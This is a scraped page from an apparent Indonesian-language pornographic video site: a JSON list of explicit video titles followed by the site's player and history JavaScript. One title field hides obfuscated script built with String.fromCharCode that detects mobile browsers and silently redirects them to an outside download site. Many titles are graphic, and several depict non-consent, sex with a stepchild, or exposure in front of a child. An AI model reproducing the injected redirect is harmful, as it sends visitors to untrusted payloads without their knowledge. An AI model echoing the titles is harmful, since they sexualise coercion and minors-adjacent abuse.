CAWD040 adalah seorang selebriti internet tomboy yang diam-diam memiliki payudara besar di sebuah situs video tertentu. Bahkan setelah orgasmenya, dia berulang kali ditusuk hingga dorongan yang tak henti-henti dan seperti piston benar-benar membuatnya kewalahan, hingga membuatnya menangis. Sato Riko.
Seorang pelayan cantik dengan bokong besar langsung disetubuhi saat membersihkan bokongnya yang tidak terlindungi dan menjadi gila dengan anusnya yang terbuka, dan disetubuhi berulang kali. Akari Tsumugi Madonna","lastmod":"2026-07-11","duration":"02:00:23","url":"/play/19161569.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA2MjMvOTAyYWNlMDhhOTExYjJjZTM5MDA0MDJlNGIxNWZhZTUuanBn.cache","vod_id":19165233,"title":"var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}[Pertukaran Wajah] Penis tebal Lee Hyeri terus dimasukkan....","lastmod":"2026-07-11","duration":"05:04","url":"/play/19165233.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNjNjNThmYWJiZTBiZmNmYmYyNjEzYTNhYjY2MmY3ZGQuanBn.cache","vod_id":18964912,"title":"MEYD-207 Masukkan hari ini sampai Anda hamil... Miho Tono","lastmod":"2025-03-22","duration":"02:30:24","url":"/play/18964912.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMTA2NGQwOWRlYjJhNWI0YWRkOGI0MDM0NjNhMjE2NGQuanBn.cache","vod_id":18930289,"title":"Sesi latihan KIMU-002 dengan seorang pria yang lebih tua memperlihatkan payudaranya yang berukuran J-cup, memperlihatkan payudara alaminya dan ekspresi wajahnya saat mencapai klimaks. (Sachiko)","lastmod":"2025-03-22","duration":"02:01:29","url":"/play/18930289.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvMThjY2FhZWJjNzA3Nzk0MDNhNTg3YzU3MjhjN2Q4ZTcuanBn.cache","vod_id":19139902,"title":"Seorang mantan pramugari yang sedang dalam penerbangan internasional telah sepenuhnya terjerumus ke dalam kemerosotan moral, terlibat dalam tindakan seksual terlarang di kamar mandi, termasuk posisi doggy style, seks intens, dan seks oral.","lastmod":"2026-01-23","duration":"30:33","url":"/play/19139902.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvODk3NDczYzgyZDBkZjJiNmJkMWRlMjVhMjFiNzNjZTkuanBn.cache","vod_id":18926763,"title":"Pria bertato bercinta penuh gairah dengan wanita berbaju dalam di hotel; seks oral, permainan vagina, memegang pantatnya, dorongan, erangan, dan napas terengah-engah—sangat menggoda. Jangan sampai ketinggalan!","lastmod":"2025-12-14","duration":"02:09:53","url":"/play/18926763.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZDZkYzg3Y2FjNjQ1ZGZhM2EzZDQyYmQ1OWFmNjI1ZjAuanBn.cache","vod_id":18931719,"title":"PKPD-081 Video Pribadi Sepenuhnya: Kakak Berpayudara F Minami Kou Risu Pertama Kali Menghiburnya","lastmod":"2025-03-22","duration":"02:20:36","url":"/play/18931719.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMTMzZGM3OWIzNWMyOGFiYzdiMTBjNjZjZDg4NDY0MmUuanBn.cache","vod_id":18951919,"title":"Istri yang dikhianati dengan kualitas terbaik terbaru adalah bonus Tahun Baru yang luar biasa. Pasangan yang dikhianati di Twitter bertemu dengan penggemar untuk 3P, mempertontonkan diri di luar ruangan di tempat umum, dan bahkan mempertontonkan diri di depan anak mereka. Ini adalah kontras yang mencolok (17).","lastmod":"2025-12-14","duration":"00:03:59","url":"/play/18951919.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYWU2MjkxN2E0ZWIxMjMzOTNmNDIyODM4ZWRhMDIwZjEuanBn.cache","vod_id":19013236,"title":"AP738 menduduki kantor hingga larut malam, hanya menyisakan karyawan wanita setelah lembur! Penghinaan dan keputusasaan yang mengerikan berlangsung hingga fajar.","lastmod":"2025-03-24","duration":"02:44:06","url":"/play/19013236.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvNzU5MjcyOTE1MTE5YzU2ZmU0NzI3ZTllZjY0YWFiYWYuanBn.cache","vod_id":19147773,"title":"MIDV-550-C Saat dalam perjalanan bisnis (di Fukuoka), saya bertemu dengan seorang bos wanita dari perusahaan klien. Kami minum-minum bersama, tetapi ketinggalan kereta terakhir dan akhirnya berbagi kamar. Kami menghabiskan waktu yang menyenangkan dan tanpa batasan, berbicara dalam dialek Hakata hingga subuh.","lastmod":"2026-03-11","duration":"02:27:13","url":"/play/19147773.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvY2MxN2U5ZTcyM2M0MWM0MGNiNWYxNzBmNDAzNmZlZmYuanBn.cache","vod_id":18953618,"title":"[Subtitle Bahasa Mandarin] STAR-555 Natsuki Shizuku, tubuh sensitif yang bisa langsung merasakan bahkan penetrasi cepat (jantung berdebar).","lastmod":"2025-12-14","duration":"02:07:00","url":"/play/18953618.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvOWZhYjRkMjhkN2Q3MWVjYjM5YTJlMTc5ZjBlZTQyODguanBn.cache","vod_id":18948686,"title":"[Subtitle Bahasa Mandarin] VRTM-414 \"Aku juga ingin punya anak!\" Seorang pengasuh anak bertubuh seksi di pusat penitipan anak","lastmod":"2025-12-14","duration":"02:29:16","url":"/play/18948686.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA2MTgvMWYxNTM2NTQzNDc5NDc5MGUyNjFiNWFjOTU2NzFiY2IuanBn.cache","vod_id":19038771,"title":"MUDR244 Saat anak tiri istri saya sedang mandi... Saya terus menginseminasi anak tiri saya; dia selalu tersedia setiap kali saya memanggilnya.","lastmod":"2025-06-18","duration":"02:12:39","url":"/play/19038771.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvY2MzNTBlMTBkNzBlZGRhMDY5MTY2MDI0ZjQzYmMxY2YuanBn.cache","vod_id":18945344,"title":"SDMU-950H [Termasuk Fitur Bonus Eksklusif] Pemenang Hadiah Utama Kompetisi Video Kampus Nasional: \"Kami Membuat Film Audio Visual Tentang Teman Sekelas Kami\" - Debut Audio Visual?","lastmod":"2025-12-14","duration":"02:44:58","url":"/play/18945344.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYmVlMTk5M2I0NjcwMTQ1Y2E2N2E1ZDMyOGFlNTY5MDQuanBn.cache","vod_id":18953644,"title":"Selebriti internet \"Rare ㊙️Heavyweight ☛Bombshell\", pelacur kelas atas yang kontras [Midouzi], dikenal sebagai \"Monster Penyembur Air,\" secara pribadi difilmkan dengan berbagai teknik untuk bermain dan merangsang bagian pribadinya, menghasilkan klimaks, gemetar, dan kejang—pesta visual yang sempurna dengan banyak cairan yang menyembur keluar.","lastmod":"2025-12-14","duration":"00:04:18","url":"/play/18953644.html"}]},
videoTitle: 'CAWD040 adalah seorang selebriti internet tomboy yang diam-diam memiliki payudara besar di sebuah situs video tertentu. Bahkan setelah orgasmenya, dia berulang kali ditusuk hingga dorongan yang tak henti-henti dan seperti piston benar-benar membuatnya kewalahan, hingga membuatnya menangis. Sato Riko.',
language: 'id',
dataKey: '01',
loadingPlayer: true,
showShare: false,
pageUrl: '',
// RecommendedMovies 组件状态
isSingleColumn: false,
pageSize: 8,
currentPage: 1,
// 计算属性(使用 getter)
get layoutIconClass() {
return this.isSingleColumn ? 'icon-view-list' : 'icon-grid';
},
get layoutClass() {
return [
'row',
'g-3',
'row-cols-1',
this.isSingleColumn ? '' : 'row-cols-2',
'row-cols-lg-4'
].filter(Boolean).join(' ');
},
// 方法
onAppMounted() {
// 设置页面 URL
this.pageUrl = window.location.href;
// 保存观看历史
this.saveWatchHistory();
// 更新标签统计
if (this.videoData.tag && this.videoData.tag.length > 0) {
this.updateTagStats(this.videoData.tag);
}
// 发送点击统计
this.hitVideoId(this.videoData.id);
// 从 Cookie 读取布局偏好
const layoutCookie = this.getCookie('list_layout');
if (layoutCookie === 'single') {
this.isSingleColumn = true;
}
// 监听 iframe 加载完成,隐藏骨架屏
// 使用 setTimeout 确保 DOM 已完全渲染
setTimeout(() => {
const iframe = document.getElementById('v2-player');
const skeleton = document.getElementById('player-skeleton');
if (iframe && skeleton) {
// 定义隐藏骨架屏的函数
const hideSkeleton = () => {
skeleton.style.transition = 'opacity 0.3s ease';
skeleton.style.opacity = '0';
setTimeout(() => {
skeleton.style.display = 'none';
}, 300);
};
// 检查 iframe 是否已经加载完成
if (iframe.contentDocument || iframe.contentWindow) {
try {
// 如果 iframe 已加载,直接隐藏骨架屏
if (iframe.contentWindow.document.readyState === 'complete') {
setTimeout(hideSkeleton, 500);
return;
}
} catch (e) {
console.log('[Video] 跨域 iframe,无法检查状态:', e.message);
// 跨域情况下无法访问 contentWindow,继续监听 load 事件
}
}
// 监听 load 事件
iframe.addEventListener('load', () => {
console.log('[Video] iframe load 事件触发');
setTimeout(hideSkeleton, 500);
});
// 添加超时保护,确保骨架屏最终会被隐藏
setTimeout(() => {
if (skeleton.style.display !== 'none') {
console.log('[Video] 超时保护触发,强制隐藏骨架屏');
hideSkeleton();
}
}, 5000); // 5秒后强制隐藏
} else {
console.error('[Video] 未找到 iframe 或 skeleton 元素');
}
}, 0);
},
// 随机跳转
async jumpToRandomVideo() {
try {
const response = await fetch(`/api/qun/randomid?t=${Date.now()}`, {
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
});
const data = await response.json();
if (data?.status === 1 && data?.data?.id) {
window.location.href = `/${this.language}/play/${data.data.id}.html`;
} else {
console.error('获取随机视频失败:', data?.message || '未知错误');
}
} catch (err) {
console.error('获取随机视频失败:', err);
}
},
// 复制分享链接
copyShareLink() {
const input = this.$refs.shareInput;
if (input) {
input.select();
input.setSelectionRange(0, 99999); // For mobile devices
// 尝试使用现代 API
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(this.pageUrl).then(() => {
alert('Tautan berhasil disalin!');
}).catch(() => {
// 降级到旧方法
document.execCommand('copy');
alert('Tautan berhasil disalin!');
});
} else {
// 降级到旧方法
document.execCommand('copy');
alert('Tautan berhasil disalin!');
}
}
},
// 切换布局
toggleLayout() {
this.isSingleColumn = !this.isSingleColumn;
this.setCookie('list_layout', this.isSingleColumn ? 'single' : 'multi', 30);
},
// 加载更多
loadMore() {
this.currentPage++;
},
// 保存观看历史
saveWatchHistory() {
try {
const storageKey = 'watchHistory';
let history = JSON.parse(localStorage.getItem(storageKey) || '[]');
// 解码 HTML 实体编码的标题
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const video = {
id: this.videoData.id,
title: decodeHtmlEntities(this.videoData.title),
image: this.videoData.images || this.videoData.preview,
duration: this.videoData.duration || ''
};
// 过滤掉已存在的相同 ID 视频
history = history.filter(item => item.id !== video.id);
// 添加新记录到最前面
history.unshift(video);
// 限制最多保存 100 条
if (history.length > 100) {
history = history.slice(0, 100);
}
localStorage.setItem(storageKey, JSON.stringify(history));
} catch (e) {
console.error('Failed to save watch history:', e);
}
},
// 更新标签统计
updateTagStats(tags = []) {
// HTML 实体解码函数
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const storageKey = this.dataKey + 'tagWatchStats';
const lastWatchedKey = this.dataKey + 'tagLastWatched';
const raw = localStorage.getItem(storageKey);
const stats = raw ? JSON.parse(raw) : {};
// 解码标签并统计
const decodedTags = tags.map(tag => decodeHtmlEntities(tag));
decodedTags.forEach(tag => {
stats[tag] = (stats[tag] || 0) + 1;
});
localStorage.setItem(storageKey, JSON.stringify(stats));
localStorage.setItem(lastWatchedKey, JSON.stringify(decodedTags));
},
// 点击统计
hitVideoId(id) {
fetch(`/api/qun/hit?type=play&id=${id}`, {
method: 'GET',
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
}).catch(err => {
console.error('点击统计失败:', err);
});
},
// Cookie 工具方法
getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
},
setCookie(name, value, days) {
const expires = new Date(Date.now() + days * 864e5).toUTCString();
document.cookie = `${name}=${value}; expires=${expires}; path=/`;
}
};
}